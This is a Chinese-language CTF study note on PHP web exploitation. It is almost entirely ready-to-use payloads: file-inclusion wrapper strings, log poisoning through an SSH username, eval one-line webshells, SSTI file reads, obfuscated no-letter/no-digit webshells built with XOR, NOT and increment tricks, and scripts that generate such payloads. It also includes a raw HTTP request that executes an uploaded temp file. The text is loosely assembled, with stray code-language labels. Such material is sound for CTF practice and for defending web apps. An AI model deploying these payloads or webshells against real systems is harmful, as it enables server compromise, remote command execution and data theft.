以下内容并全非原创,只是为了学习总结而已。基础的内容,会大量引用一些师傅们的博客。
(web笔记)(burpsuite)(语雀知识库)(CTFSHOW)
(参考链接1)(参考链接2)(各种命令执行绕过)(命令执行绕过)(命令执行绕过2)(linux命令大全)(命令绕过)
php${phpinfo()};//${php代码}
`echo "十六进制大写或小写"|xxd -r -p>1.php`
`echo "363336313734323032663636366336313637"|xxd -r -p|xxd -r -p`
${eval($_POST[0])}
${</flag}
echo "$(</flag)"
ls / | tee 1 //这样可以把ls /的结果输出写入1文件,然后就可以访问并下载
nl /*>nl //读取根目录下所有文件并导入文件nl中
cat /start.sh cat /run.sh
hex2bin('73797374656d')('uniq /f*');
"include()可以执行代码 : ?c=include%0a$_GET[1]?>&1=/var/log/nginx/access.log
伪协议 php://filter/read=convert.base64-encode/resource=flag.php"
{{request.__init__.__globals__['__builtins__'].open('/flag').read()}
show_source(join([chr(102),chr(108),chr(97),chr(103)]));
include()可以执行代码,例如phpinfo();
php?c=include%0a$_GET[1]?>&1=/var/log/nginx/access.log
include "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"
include可以包含一个php文件或者是data协议的数据,如果过滤了;分号,可以使用?>来绕过
include()可以包含文件并且执行里面的php代码,例如:文件上传时,将a.zip后加入 phpinfo(); 。include(upload/a.zip) 可以执行a.zip里面的phpinfo();
include()接受的内容如果以 <?php 开头, 则会把这段内容解析为 PHP 代码, 否则会将其视为纯⽂本, 啥也不⼲直接 输出, 这也是为什么 base64 编码之后就能读到 flag.php 源码的原因
phpphp://filter/read=convert.base64-encode/resource=flag.php
php://filter/resource=index.php
php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php
data:text/plain,<?php phpinfo()?> #GET数据
data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= #后面的base64字符是需要传入的字符串的base64编码
php://input [POST DATA:]<?php phpinfo()?> #POST数据
file:///flag 读取根目录文件
?file=compress.zlib://flag.php
通过data://text/plain协议来进行漏洞利用。
?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b #<?php phpinfo();?>
data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== #<?php @eval($_POST[1]);?>
url=data://text/plain,<?php print_r(glob("*")); ?>
data://text/plain,<?php system('ls');?>
?c=data://text/plain,<?php phpinfo();?>
php1 file:// — 访问本地文件系统
2 http:// — 访问 HTTP(s) 网址
3 ftp:// — 访问 FTP(s) URLs
4 php:// — 访问各个输入/输出流(I/O streams)
5 zlib:// — 压缩流
6 data:// — 数据(RFC 2397)
7 glob:// — 查找匹配的文件路径模式
8 phar:// — PHP 归档
9 ssh2:// — Secure Shell 2
10 rar:// — RAR
11 ogg:// — 音频流
12 expect:// — 处理交互式的流
phpphp://input
post提交代码执行: <?php system("ls");?>
php://output
php://filter
文件读取:
?url=php://filter/read=convert.base64-encode/resource=inde.php
?url=php://filter/convert.base64-encode/resource=inde.php
?url=file:///etc/passwd
data://
data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b //base64加密代码执行 +号URL编码
phar:// #php>5.3
将 info.php 压缩为 info.zip 注意:压缩时选择仅存储,在文件上传处上传 info.zip 文件
将 info.zip 文件后缀改为 info.jpg,上传 jpg 文件
http://127.0.0.1/pikachu/include.php?file=phar://info.jpg/info.php
zip:// #php>5.3
http://127.0.0.1/pikachu/include.php?file=zip://info.zip%23info.php
等
包含日志文件getshell
常见web日志文件路径(linux):
/etc/httpd/logs/access.log
/var/www/nginx/access.log
/var/log/httpd/access.log
/var/log/apaches/access.log
ssh日志文件包含:
ssh '<?php system($_GET[w]);?>'@172.16.1.233
目录:/var/log/auth.log
6.php://filter 参数 resource = 要过滤的数据流 必须项 read = 读链的过滤器 可以设定一个或多个过滤器名称 用管道符分离 write = 写链的过滤器 与前者相同 可用的过滤器 字符串过滤器 string.rot13 等同于 str_rot13(),rot13 变换 string.toupper 等同于 strtoupper(),转大写字母 string.tolower 等同于 strtolower(),转小写字母 string.strip_tags 等同于 strip_tags(),去除 html、PHP 语言标签 转换过滤器
phpconvert.base64-encode / convert.base64-decode //等同于 base64 编
码解码
convert.quoted-printable-encode / convert.quoted-printable-decode
//quoted-printable 字符串 与 8-bit 字符串编码解码
PHP伪协议可以将某个文件或文件夹包含在其中
php?file=php://filter/string.rot13/NewStar/resource=flag.php
f12看见flag.php的内容,然后rot13解码。
quoted-printable 就是用一些可打印常用字符 表示一个字节中 所有非打印字符方法 任 何一个八位的字节值 都可编码为三个字符 (一个=后跟随两个 16 进制数字(0-9/A-F) 表示该字节的数值) 压缩过滤器
phpzlib.deflate / zlib.inflate //在本地文件系统中创建 gzip 兼容文件 的方法
bzip2.compress / bzip2.decompress //在本地文件系统中创建 bz2 兼容文件的方法加密过滤器
mcrypt.* 对称加密算法 mdecrypt.* 对称解密算法
phpPlain Text array_map(?[callable] $callback, array $array, array ...$arrays): array array_map()
返回一个 array,包含将 array 的相应值作为回调的参数顺序调用 callback 后的结果(如果提供了更多数组,还会利用 arrays 传入)。callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。多余的实参数组将会 被忽略。如果提供的实参数组的数量不足,将抛出 ArgumentCountError
url: task=array_map($_POST['c'],$_POST['args'])&flag=Please_give_me_flag&c=system&args[]=cat /flag
1.eval()可将里面内容作为代码执行。
php<?php @eval($_POST['a']);?>
<?=@eval($_REQUEST['cmd']);?>
php//?a=phpinfo()
<?php assert($_POST['a']);?>
php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。
以上两种调用方法在php7.0.29版本之前都测试成功,7.0.29版本之后又动态调用的方法无法成功。
在7.0.29版本之后发现的奇怪的一点
php<?php
//?a=phpinfo()
$a = 'assert';
$a($_POST['a']);
?>
//phpinfo()无法执行成功
php<?php
$a = 'assert';
$a(phpinfo());
?>
//成功执行phpinfo()
phpcall_user_func(assert,phpinfo());//第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
call_user_func('call_user_func_array','phpinfo',array());//这个真做了好久,没想到远在天边尽在眼前。题目来源beginctf
phpmixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
1.preg_replace 执行一个正则表达式的搜索和替换。
执行代码需要使用/e
修饰符。如果不使用/e
修饰符,代码则不会执行
php$a = 'phpinfo()';
$b = preg_replace("/abc/e",$a,'abcd');
please_give_me_flag
php<?PHP $func=creat_function('',$_POST['cmd']);$func();?>
//经典一句话
本函数已自 PHP 7.2.0 起被废弃,并自 PHP 8.0.0 起被移除。 强烈建议不要依 赖本函数。 PHP 经典一句话 有这个函数也可以创造闭合注入代码.
phpGET ?show=;};system('cat flag.php');/*
POST ctf=%5ccreate_function
php<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>
甚至可以将上面的代码合并为一行,从而使程序的可读性更差:
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");
###########################################################################
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
<?php
$__=('>'>'<')+('>'>'<');//$__2
$_=$__/$__;//$_1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});//$____=assert
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});//$_____=_POST
$_=$$_____;//$_=$_POST
$____($_[$__]);//assert($_POST[2])
#缩减后即
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});$_____=_;$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
或:
$__=('>'>'<')+('>'>'<');$_=$__/$__;$____='';$___=瞰;$____.=~($___{$_});$___=和;$____.=~($___{$__});$___=和;$____.=~($___{$__});$___=的;$____.=~($___{$_});$___=半;$____.=~($___{$_});$___=始;$____.=~($___{$__});$_____=_;$___=俯;$_____.=~($___{$__});$___=瞰;$_____.=~($___{$__});$___=次;$_____.=~($___{$_});$___=站;$_____.=~($___{$_});$_=$$_____;$____($_[$__]);
php! $ ' ( ) + , . / ; = [ ] _
$____=((_/_).'')[''=='$']; #N $_____=++$____; #O ++$____; #P $______=$____; #$______=P ++$____; #Q ++$____; #R ++$____; #S $_______=$____; #$_______=S ++$____; #T $________=$____; #$________=T $_________=$______.$_____.$_______.$________; #POST $_________='_'.$_________; #_POST $$_________[_]($$_________[__]); #$_POST[_]($_POST[__];)
所以payload为:
$____=((_/_).'')[''=='$'];$_____=++$____; ++$____;$______=$____; ++$____;++$____;++$____; $_______=$____;++$____;$________=$____;$_________=$______.$_____.$_______.$________;$_________='_'.$_________;$$_________[_]($$_________[__]);
最后可以直接POST执行命令的payload为:
ctf_show=%24____%3D((_%2F_).'')%5B''%3D%3D'%24'%5D%3B%24_____%3D%2B%2B%24____%3B%20%2B%2B%24____%3B%24______%3D%24____%3B%20%2B%2B%24____%3B%2B%2B%24____%3B%2B%2B%24____%3B%20%24_______%3D%24____%3B%2B%2B%24____%3B%24________%3D%24____%3B%24_________%3D%24______.%24_____.%24_______.%24________%3B%24_________%3D'_'.%24_________%3B%24%24_________%5B_%5D(%24%24_________%5B__%5D)%3B&_=system&__=cat /f*
php$ ( ) + , . / 0 1 ; = [ ] _
$_=((_/_)._)[0]; //同上,取NAN的第一个字母N $_++; //O $__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO $_++; // Q $_++; // R $_++; // S $_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST $$_[_]($$_[1]); // $_POST[_]($_POST[1]);
即:
$_=((_/_)._)[0];$_++;$__=$_.$_++;$_++;$_++;$_++;$_=_.$__.$_.++$_;$$_[_]($$_[1]);
直接POST拿flag的payload:
ctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B1%5D)%3B&_=system&1=cat /f*
php$ ( ) + , . / 0 ; = [ ] _
$_=((_/_).$_)[0]; //同上,取NAN的第一个字母N $_++; //O $__=$_.$_++; //这里进行了++的,所以$_等于P, $__=PO $_++; // Q $_++; // R $_++; // S $_=_.$__.$_.++$_; //这里也进行了++的,所以最后一位是T, $_ = _POST $$_[_]($$_[0]); // $_POST[_]($_POST[0]);
payload:
phpctf_show=%24_%3D((_%2F_)._)%5B0%5D%3B%24_%2B%2B%3B%24__%3D%24_.%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24__.%24_.%2B%2B%24_%3B%24%24_%5B_%5D(%24%24_%5B0%5D)%3B&_=system&0=cat /f*
可用字符:
$ ( ) + , . / ; = [ ] _
比上一个题多过滤了0,而且长度限制在了73以内。看了下其他师傅的wp,发现了些神奇操作,首先对于取第一个字母N其实根本不需要用[0],甚至也不需要[”==’$’],其实数组下标使用未定义常量,php会warning,但是可以继续运行,并返回下标为0的字符:
其次这里观察到phpinfo安装了一个扩展gettext,该扩展支持函数_()
,相当于gettext()
,直接转化为字符串:
$_=_(_/_)[_]; //相当于gettext(0/0)[0],得到N
其次,这里其实可以用不可见字符代替变量名,比如用$%FA,出题人的73位预期解是:
<?php $_=_(_/_)[_];//相当于gettext(0/0)[0],得到N $_=++$_;//O $%FA=_.++$_.$_;//_PO $_++;$_++;//R $%FA.=++$_.++$_;//_POST $$_[_]($$_[%FA]);//$_POST[a]($_POST[_])
72位的解法:
<?php $_=_(_._)[_]; $_++; $%FA=$_.$_++; //这里为PO $_++;$_++; $_=_.$%FA.++$_.++$_; $$_[_]($$_[%FA]);
62位的神仙解法:
<?PHP $_=_(%FA.%FA)[_];//N //本地使用就用(_._._)[_],或者安装了一个扩展gettext $%FA=++$_;//O $$%FA[$%FA=_.++$_.$%FA[$_++/$_++].++$_.++$_]($$%FA[_]); //$_POST[_POST]($_POST[_])
传payload的时候记得用burpsuite别直接用hackbar,因为hackbar会把传上去的东西进行了编码,我们的不可见字符就判定为三个字符了。这个解属于比较通用的,没用gettext,感觉一般服务器上也不会开那玩意儿吧,遇到一般的无字母数字webshell题这个解也够用了,我想用那个62字符的构造通用解发现(/.)[]经常报错,不知道为啥。
ctf_show=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=system&%FA=cat /f*
如果[]被ban了就换{},php里这俩可以混用,如果这两个都被ban了骚年还是换其他方法做吧
ctf_show=$_=(_/_._){_};$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_{_}($$_{%FA});&_=passthru&%FA=cat /f*
php?><?=`{${~"%a0%b8%ba%ab"}[%a0]}`?>
分析下这个Payload,?>闭合了eval自带的<?标签。接下来使用了短标签。{}包含的PHP代码可以被执行,~"%a0%b8%ba%ab"为"_GET",通过反引号进行shell命令执行。最后我们只要GET传参**%a0**即可执行命令。
php${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff^%88%97%90%9E%92%96);&%ff=system
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=readfile
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}(%ff%ff%ff%ff%ff%ff%ff%ff^%99%93%9E%98%D1%8F%97%8F);&%ff=highlight_file
// ${_GET}{%ff}();&%ff=phpinfo
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('whoami');&%ff=system
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=readfile
// ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}('flag.php');&%ff=highlight_file
任何字符与 0xff 异或都会取相反,这样就能减少运算量了。注意:测试中发现,传值时对于要计算的部分不能用括号括起来,因为括号也将被识别为传入的字符串,可以使用{}代替,原因是 PHP 的 use of undefined constant 特性。例如GETa这样的语句PHP是不会判为错误的,因为是用来界定变量的,这句话就是会将GET自动看为字符串,也就是_GET['a']。
如果想要执行代函数的函数比如system('whoami'),那我们可以对后面括号里的参数做相同的编码处理
同理,我们也可以直接进行取反:
php${~%A0%B8%BA%AB}{%ff}();&%ff=phpinfo
${~%A0%B8%BA%AB}{%ff}(~%88%97%90%9E%92%96);&%ff=system
此外,继承于上述原理,我们还可以直接使用反引号执行命令:
php?><?=`{${~%A0%B8%BA%AB}{%ff}}`?>&%ff=dir
分析下这个 Payload:
php?><?=`{${~%A0%B8%BA%AB}{%ff}}`?>&%ff=dir
即:
?><?=`$_GET[%ff]`?>&%ff=dir
最开头的?>闭合了 eval() 函数自带的。{}里面包含的 PHP 代码可以被执行,~%A0%B8%BA%AB为_GET,最后将通过参数%ff传入的值使用反引号进行命令执行。
分号我们只是用在结束PHP语句上,我们只要把所有的PHP语句改成短标签形式,就可以不使用;了。
php?><?=`ls`
<?= `ls /`?>
PHP 7 前是不允许用($a)();这样的方法来执行动态函数的,但 PHP 7 中增加了对此的支持。所以,我们可以通过('phpinfo')();的形式来执行函数,第一个括号中可以是任意 PHP 7 表达式
php("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%0c%08%00%00"^"%60%7b%20%2f");
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13%00%00"|"%60%60%20%2f");
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
在 PHP 5 中如果我们还使用('phpinfo')();这样的 PHP 表达式则会得到一个报错,原因就是 PHP 5 并不支持这种表达方式。所以,如果也过滤了$的话,对于 PHP 5 环境的利用方法就很复杂了。
●此时我想到了两个有趣的 Linux Shell 知识点:
Linux Shell 下可以利用.来执行任意脚本
Linux文件名支持用 Glob 通配符进行代替
●在 Linux Shell 中.的作用和source一样,就是在当前 Bash 环境下读取并执行一个文件中的命令。比如,当前运行的 Shell 是 Bash,则. file的意思就是用当前 Bash 执行 file 文件中的命令。并且用. file执行文件,是不需要 file 文件有x权限的。
●那么,如果目标服务器上有一个我们可控的文件,那我们不就可以利用.来执行它了吗?这个文件也很好得到,我们可以发送一个上传文件的 POST 包,此时 PHP 会将我们上传的临时文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后 6 个字符是随机的大小写字母。(其实这个知识点在 CTF 中也频繁出镜,比如文件包含中的利用等)
●第二个难题接踵而至,临时文件. /tmp/phpXXXXXX的命名是随机的,那我们该如何去找到他名执行呢?此时就可以用到 Linux 下的 Glob 通配符:
:可以匹配 0 个及以上任意字符
?:可以匹配 1 个任意字符
●那么,/tmp/phpXXXXXX就可以表示为//?????????或/???/?????????了。但是在真正操作起来的时候我们会发现这样通常并不能成功的执行文件,而是会报错,原因就是这样匹配到的文件太多了,系统不知道要执行哪个文件。如果没有限制字母的话我们完全可以使用/???/php??????来提高匹配几率,但是题目限制的就是字母数字,所以我们的想别的办法。
●根据 PHITHON 师傅的文章,最后我们可以采用的 Payload 是:
php. /???/????????[@-[]
最后的[@-[]表示ASCII在@和[之间的字符,也就是大写字母,所以最后会执行的文件是 /tmp 文件夹下结尾是大写字母的文件。这是因为匹配到的所有的干扰文件的文件名都是小写,唯独 PHP 生成的临时文件最后一位是随机的大小写字母。
构造Poc,执行任意命令 ●当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。 ●最后给出一个 Payload:?>进行URL编码
POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1 Host: 192.168.43.210:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type:multipart/form-data;boundary=--------123 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 109 ----------123 Content-Disposition:form-data;name="file";filename="1.txt" #!/bin/sh ls / ----------123--
下面给出一个异或绕过的脚本:
php<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
●首先运行以上 PHP 脚本后,会生成一个 txt 文档 xor_rce.txt,里面包含所有可见字符的异或构造结果。 ●接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:
python# -*- coding: utf-8 -*-
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return output
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
下面给出一个或运算绕过的脚本:
php<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i'; // 根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
●首先运行以上 PHP 脚本后,会生成一个 txt 文档or_rce.txt,里面包含所有可见字符的或运算构造结果。 ●接着运行以下 Python 脚本,输入你想要构造的函数名和要执行的命令即可生成最终的 Payload:
php# -*- coding: utf-8 -*-
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("or_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return output
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
直接运行以下脚本并输入提示内容即可生成 Payload
php(~%8F%97%8F%96%91%99%90)(); // phpinfo();
phpinfo()是没有参数的,如果需要执行有参数的函数的话,比如system('whoami');,则应分别对其中的字符进行编码:
(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0); // system('ls /');
php<?php
//在命令行中运行
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
这里记录一下
scss首先获取过滤
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code))
写个脚本看看还有什么没有被过滤
php<?php
for ($ascii=0; $ascii < 256; $ascii++){
if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',chr($ascii))){
echo chr($ascii);
}
}
过滤的很死 但是放出来了几个字符 我们去
构造取反
第一种取反+无参数rce:
cobolexp = "" def urlbm(s): ss = "" for char in s: ss += "%" + str(hex(255 - ord(char)))[2:] return f"[~{ss}][!%FF](" while True: user_input = input("Firebasky>: ").strip(")").split("(") exp = '' for part in user_input[:-1]: exp += urlbm(part) print(exp) exp += ")" * (len(user_input) - 1) + ";" print(exp)
直接运行以下脚本并输入提示内容即可生成 Payload:
第二种:
php<?php
//在命令行中运行
fwrite(STDOUT,'[+]your function: ');
$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT,'[+]your command: ');
$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
第三种取反+无参数rce:
phpdef one(s):
ss = ""
for each in s:
ss += "%" + str(hex(255 - ord(each)))[2:].upper()
return f"[~{ss}][!%FF]("
"""
组成类似于system(pos(next(getallheaders())));即可
a=whoami
"""
while 1:
a = input(":>").strip(")")
aa = a.split("(")
s = ""
for each in aa[:-1]:
s += one(each)
s += ")" * (len(aa) - 1) + ";"
print(s)
介绍一下原理
cobol这里我们需要通过[] 来执行 [~%8f%97%8f%96%91%99%90] 这里是 [phpinfo] [] 会进行执行 然后将返回内存存储为数组 然后我们需要取出数组内的东西 [~%8f%97%8f%96%91%99%90][!%ff] 这里是phpinfo [!%ff] 这里类似于 [0] 会获取到第一位 即phpinfo 然后补上括号即可 [~%8f%97%8f%96%91%99%90][!%FF]();
代码执行成功
说明可行 那么我们就继续
这里我们需要思考如何可以
然后这里发现啥都没过滤 那么可以直接来执行咯
这里就按照其他师傅的样子 来请求头执行
lispsystem(current(getallheaders()));
执行命令
这里需要注意 这里是无参数命令执行 加入参数就无法实现
lispeval(hex2bin(session_id(session_start()))); print_r(current(get_defined_vars()));&b=phpinfo(); eval(next(getallheaders())); var_dump(getenv(phpinfo())); print_r(scandir(dirname(getcwd()))); //查看上一级目录的文件 print_r(scandir(next(scandir(getcwd()))));//查看上一级目录的文件
php<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
执行的时候要进行一次 URL 编码,否则 Payload 无法执行
javascript<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])
php$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);
即
php%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
php_=system&__=ls
自增的rce,但是有一些特别的姿势
php
php<?php
error_reporting(0);
if (isset($_GET['hint'])) {
highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
$rce = $_POST['rce'];
if (strlen($rce) <= 120) {
if (is_string($rce)) {
if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
eval($rce);
} else {
echo("Are you hack me?");
}
} else {
echo "I want string!";
}
} else {
echo "too long!";
}
}
过滤了很多,只能用 $ _ () [] {} , . = + ;
和数字 0-9 以及其它非 A-Z a-iz 的 Unicode 字符。但是如果参考p牛博客里的自增rce姿势的话长度又会超出限制。题目的 hint 灵感来源于 ctfshow 七夕杯的 shellme_revenge
, 那题用的是 php0/0=NAN和1/0=INF
的特性,但是需要 /
运算符参与。而这道题里是通过构造chr函数,然后再利用chr来构造$_GET,chr的每个字母都可以通过数组类型Array取出来。
php
php$_=([].¥){3};$_++;$_.=++$_;$_++;$_++;$_++; $_++;$_++;$_.=([].¥){2};$_=_.$_(71).$_(69).$_(84);($$_{0})($$_{1});
php?0=system&1=cat /flag
php<?php
$temp1="system";
//$temp2="ls /";
$temp2="cat /f*";
echo "(~".urlencode(~$temp1).")"."(~".urlencode(~$temp2).");";
异或脚本
php<?php
$a = "cat *";
echo"(";
for ($i = 0; $i < strlen($a); $i++) {
echo "%" . dechex(ord($a[$i]) ^ 0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {
echo "%ff";
}
echo")";
取反脚本
php<?php
